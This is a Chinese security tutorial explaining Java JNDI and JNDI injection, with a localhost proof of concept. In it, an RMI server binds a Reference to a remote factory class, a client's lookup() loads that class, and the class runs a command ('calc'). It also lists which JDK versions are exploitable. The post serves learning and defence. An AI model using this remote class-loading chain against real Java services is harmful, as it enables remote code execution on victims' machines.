【java安全】JNDI注入概述
文章目录
- 【java安全】JNDI注入概述
- 什么是JNDI?
- JDNI的结构
- InitialContext - 上下文
- Reference - 引用
- JNDI注入
- JNDI & RMI
- 利用版本:
- JNDI注入使用Reference
【java安全】JNDI注入概述
什么是JNDI?
JNDI(Java Naming and Directory Interface)是Java提供的Java命名和目录接口。通过调用JNDI的API可以定位资源和其他程序对象。
命名服务将名称和对象联系起来,使得我们可以用名称访问对象
JDNI的结构
jndi的作用主要在于"定位"。比如定位rmi中注册的对象,访问ldap的目录服务等等
其实就可以理解为下面这些服务的一个客户端:

有这么几个关键元素
- Name,要在命名系统中查找对象,请为其提供对象的名称
- Bind,名称与对象的关联称为绑定,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
- Context,上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文
- References,在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C中的指针
这些命名/目录服务提供者:
| 协议 | 作用 |
|---|---|
| LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
| RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
| DNS | 域名服务 |
| CORBA | 公共对象请求代理体系结构 |
在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
InitialContext - 上下文
构造方法:
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
常用方法:
//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
示例:
import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {// 构建初始上下文InitialContext initialContext = new InitialContext();// 查询命名对象String uri = "rmi://127.0.0.1:1099/work";initialContext.lookup(uri);}
}
Reference - 引用
Reference类表示对存在于命名/目录系统以外的对象的引用,具体则是指如果远程获取RMI服务器上的对象为Reference类或者其子类时,则可以从其他服务器上加载class字节码文件来实例化。
构造方法:
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/
常用方法:
//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr)
//将地址添加到地址列表的末尾。
void add(RefAddr addr)
//从此引用中删除所有地址。
void clear()
//检索索引posn上的地址。
RefAddr get(int posn)
//检索地址类型为“addrType”的第一个地址。
RefAddr get(String addrType)
//检索本参考文献中地址的列举。
Enumeration<RefAddr> getAll()
//检索引用引用的对象的类名。
String getClassName()
//检索此引用引用的对象的工厂位置。
String getFactoryClassLocation()
//检索此引用引用对象的工厂的类名。
String getFactoryClassName()
//从地址列表中删除索引posn上的地址。
Object remove(int posn)
//检索此引用中的地址数。
int size()
//生成此引用的字符串表示形式。
String toString()
示例:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class jndi {public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {String url = "http://127.0.0.1:8080"; Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("aa",referenceWrapper);}
}
这里创建完Reference后又调用了ReferenceWrapper将其传进去了,为什么这么做呢?
因为我们前面学习RMI的时候,将类注册到Registry使用的类必须继承UnicastRemoteObject类以及实现Remote接口
但是我们这里Reference没有满足,所以需要使用ReferenceWrapper将其封装一下
public class Reference implements Cloneable, java.io.Serializable
...
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference
JNDI注入
JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
JNDI注入的过程如下:
- 客户端程序调用了
InitialContext.lookup(url)并且url可以被输入控制,指向精心构造好的RMI服务地址 - 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类
- 当客户端执行lookup时,客户端会获取相应的
object factory,通过factory.getObjectInstance()获取外部远程对象的实例 - 攻击者在Factory类文件的构造方法,静态代码块,
getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果 - 既然要用到Factory,那么恶意类需要实现
ObjectFactory接口
具体攻击流程图:

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
| 协议 | JDK6 | JDK7 | JDK8 | JDK11 |
|---|---|---|---|---|
| LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
| RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
JNDI & RMI
利用版本:
JDK 6u132、7u122、8u113之前可以
JNDI注入使用Reference
首先搭建一个服务端:RMIServer
服务端的创建,按步骤来
- 首先是注册中心
- 然后是恶意类所在地址
- 接着是创建Reference对象引用,绑定恶意类的地址
- 绑定Name
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RMIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {Registry registry = LocateRegistry.createRegistry(1099);String url = "http://127.0.0.1:1098/";Reference reference = new Reference("EvilClass", "EvilClass", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("class",referenceWrapper);}
}
然后搭建一个客户端RMIClient(客户端也是受害端):
import javax.naming.InitialContext;
import javax.naming.NamingException;public class RMIClient {public static void main(String[] args) throws NamingException {InitialContext context = new InitialContext();String url = "rmi://127.0.0.1:1099/class";context.lookup(url);}
}
然后需要创建一个恶意类:
实现ObjectFactory接口,把恶意代码写在getObjectInstance里面
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;public class EvilClass implements ObjectFactory {static {System.out.println("hello,static~");}public EvilClass() throws IOException {System.out.println("constructor~");}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {Runtime.getRuntime().exec("calc");System.out.println("hello,getObjectInstance~");return null;}
}
搭建好了以后我们首先运行服务端:(注意jdk版本)

然后我们将EvilClass编译一下,使用python开启一个http服务:

接着我们运行客户端RMIClient:

我们发现已经成功执行代码了,并且是在客户端执行的
可以参考这张思维导图:

相关文章:
【java安全】JNDI注入概述
文章目录 【java安全】JNDI注入概述什么是JNDI?JDNI的结构InitialContext - 上下文Reference - 引用 JNDI注入JNDI & RMI利用版本:JNDI注入使用Reference 【java安全】JNDI注入概述 什么是JNDI? JNDI(Java Naming and Directory Interf…...
零基础如何使用IDEA启动前后端分离中的前端项目(Vue)?
一、在IDEA中配置vue插件 点击File-->Settings-->Plugins-->搜索vue.js插件进行安装,下面的图中我已经安装好了 二、搭建node.js环境 安装node.js 可以去官网下载:安装过程就很简单,直接下一步就行 测试是否安装成功:要…...
laravel实现AMQP(rabbitmq)生产者以及消费者
基于php-amqplib/php-amqplib组件适配laravel框架的amqp封装库 支持便捷可配置的队列工作模式 官网详情 在此基础上可支持延迟消息、死信队列等机制。 环境要求: PHP版本: ^7.3|^8.0 需要开启的扩展: socket 其他: 如果需要实现延迟任务需要安装对应版本的ra…...
LeetCode——二叉树篇(九)
刷题顺序及思路来源于代码随想录,网站地址:https://programmercarl.com 目录 669. 修剪二叉搜索树 108. 将有序数组转换为二叉搜索树 538. 把二叉搜索树转换为累加树 669. 修剪二叉搜索树 给你二叉搜索树的根节点 root ,同时给定最小边界…...
uniapp scroll-view横向滚动无效,scroll-view子元素flex布局不生效
要素排查: 1.scroll-x属性需要开启,官方类型是Boolean,实际字符串也行。 2scroll-view标签需要给予一个固定宽度,可以是百分百也可以是固定宽度或者100vw。 3.子元素需要设置display: inline-block(行内块元素&#x…...
无涯教程-进程 - 简介
进程间通信就是在不同进程之间传播或交换信息,那么不同进程之间存在着什么双方都可以访问的介质呢?进程的用户空间是互相独立的,一般而言是不能互相访问的,唯一的例外是共享内存区。另外,系统空间是“公共场所”,各进…...
HTML番外篇(四)-HTML5新增元素-CSS常见函数-理解浏览器前缀-BFC
一、HTML5新增元素 1.HTML5语义化元素 在HMTL5之前,我们的网站分布层级通常包括哪些部分呢? header、nav、main、footer ◼ 但是这样做有一个弊端: 我们往往过多的使用div, 通过id或class来区分元素;对于浏览器来说这些元素不…...
机器学习之Adam(Adaptive Moment Estimation)自适应学习率
Adam(Adaptive Moment Estimation)是一种常用的优化算法,特别适用于训练神经网络和深度学习模型。它是一种自适应学习率的优化算法,可以根据不同参数的梯度信息来动态调整学习率,以提高训练的效率和稳定性。 Adam算法…...
深入理解Linux权限管理:保护系统安全的重要措施
Linux操作系统以其稳定性、可靠性和灵活性而受到广泛使用。其中一个关键特性是其强大的权限管理系统,它可以保护系统资源和用户数据的安全性。本文将深入探讨Linux权限管理的概念、原则和实践,帮助您理解如何正确配置和管理权限,以确保系统的…...
kafka复习:(20):消费者拦截器的使用
一、定义消费者拦截器(只消费含"sister"的消息) package com.cisdi.dsp.modules.metaAnalysis.rest;import org.apache.kafka.clients.consumer.ConsumerInterceptor; import org.apache.kafka.clients.consumer.ConsumerRecord; import org.…...
水库大坝安全监测的主要内容包括哪些?
在水库大坝的实时监测中,主要任务是通过无线传感网络监测各个监测点的水位、水压、渗流、流量、扬压力等数据,并在计算机上用数据模式或图形模式进行实时反映,以掌握整个水库大坝的各项变化情况。大坝安全监测系统能实现全天候远程自动监测&a…...
Cadence软件屏幕显示问题
问题 就是今天打开Cadence软件想导出网表看一下,发现没有显示确定按钮什么的,那个窗口也是无语,不能移动,缩放也只能左右缩放,还不能缩小什么的,真的醉了,后面就是调整窗口的分辨率。 因为我最…...
访问服务器快慢的因素
我们在租用服务器的过程中,可能在访问速度方面,会受到某些因素影响,如果您要进行此项业务,进行一些简单的了解 是非常的有必要的,下面壹基比小鑫带大家一起去做个具体的探讨吧。 对于服务器不太了解的都认为࿰…...
vue(element ui安装)
目录 一,element ui安装二,main.js三,使用element ui最后 一,element ui安装 先在盘服中找到你创建的node的位置 如有不懂根据可以看看上一章安装node 然后在终端找到 进入这个位置之后就可以安装了 输入npm i element-ui -S这个…...
基于FPGA视频接口之HDMI2.0编/解码
简介 为什么要特别说明HDMI的版本,是因为HDMI的版本众多,代表的HDMI速度同样不同,当前版本在HDMI2.1速度达到48Gbps,可以传输4K及以上图像,但我们当前还停留在1080P@60部分,且使用的芯片和硬件结构有很大差别,故将HDMI分为两个部分说明1080@60以下分辨率和4K以上分辨率(…...
Codeforces Round #894 (Div.3)
文章目录 前言A. Gift Carpet题目:输入:输出:思路:代码: B. Sequence Game题目:输入:输出:思路:代码: C. Flower City Fence题目:输入:…...
MyBatid动态语句且模糊查询
目录 什么是MyBtais动态语句??? MyBatis常用的动态标签和表达式 if标签 Choose标签 where标签 MyBatis模糊查询 #与$的区别 编辑 MyBatis映射 resultType resultMap 什么是MyBtais动态语句???…...
JVM——垃圾回收器G1+垃圾回收调优
4.4 G1(一个垃圾回收器) 定义: 取代了CMS垃圾回收器。和CMS一样时并发的。 适用场景: 物理上分区,逻辑上分代。 相关JVM参数: -XX:UseG1GC-XX:G1HeapRegionSizesize-XX:MaxGCPauseMillistime 1) G1 垃圾回收阶段 三个回收阶段࿰…...
【SA8295P 源码分析】23 - QNX Ethernet MAC 驱动 之 emac1_config.conf 配置文件解析
【SA8295P 源码分析】23 - QNX Ethernet MAC 驱动 之 emac1_config.conf 配置文件解析 系列文章汇总见:《【SA8295P 源码分析】00 - 系列文章链接汇总》 本文链接:《【SA8295P 源码分析】23 - QNX Ethernet MAC 驱动 之 emac1_config.conf 配置文件解析》 主要参数如下: hw_…...
iptables的使用规则
环境中为了安全要限制swagger的访问,最简单的方式是通过iptables防火墙设置规则限制。 在测试服务器中设置访问swagger-ui.html显示如下,区分大小写: iptables设置限制访问9783端口的swagger字段的请求: iptables -A INPUT -p t…...
Spring Boot 实现流式响应(兼容 2.7.x)
在实际开发中,我们可能会遇到一些流式数据处理的场景,比如接收来自上游接口的 Server-Sent Events(SSE) 或 流式 JSON 内容,并将其原样中转给前端页面或客户端。这种情况下,传统的 RestTemplate 缓存机制会…...
大语言模型如何处理长文本?常用文本分割技术详解
为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
数据链路层的主要功能是什么
数据链路层(OSI模型第2层)的核心功能是在相邻网络节点(如交换机、主机)间提供可靠的数据帧传输服务,主要职责包括: 🔑 核心功能详解: 帧封装与解封装 封装: 将网络层下发…...
Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!
一、引言 在数据驱动的背景下,知识图谱凭借其高效的信息组织能力,正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合,探讨知识图谱开发的实现细节,帮助读者掌握该技术栈在实际项目中的落地方法。 …...
Matlab | matlab常用命令总结
常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...
Swagger和OpenApi的前世今生
Swagger与OpenAPI的关系演进是API标准化进程中的重要篇章,二者共同塑造了现代RESTful API的开发范式。 本期就扒一扒其技术演进的关键节点与核心逻辑: 🔄 一、起源与初创期:Swagger的诞生(2010-2014) 核心…...
【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...
使用 SymPy 进行向量和矩阵的高级操作
在科学计算和工程领域,向量和矩阵操作是解决问题的核心技能之一。Python 的 SymPy 库提供了强大的符号计算功能,能够高效地处理向量和矩阵的各种操作。本文将深入探讨如何使用 SymPy 进行向量和矩阵的创建、合并以及维度拓展等操作,并通过具体…...
Linux离线(zip方式)安装docker
目录 基础信息操作系统信息docker信息 安装实例安装步骤示例 遇到的问题问题1:修改默认工作路径启动失败问题2 找不到对应组 基础信息 操作系统信息 OS版本:CentOS 7 64位 内核版本:3.10.0 相关命令: uname -rcat /etc/os-rele…...
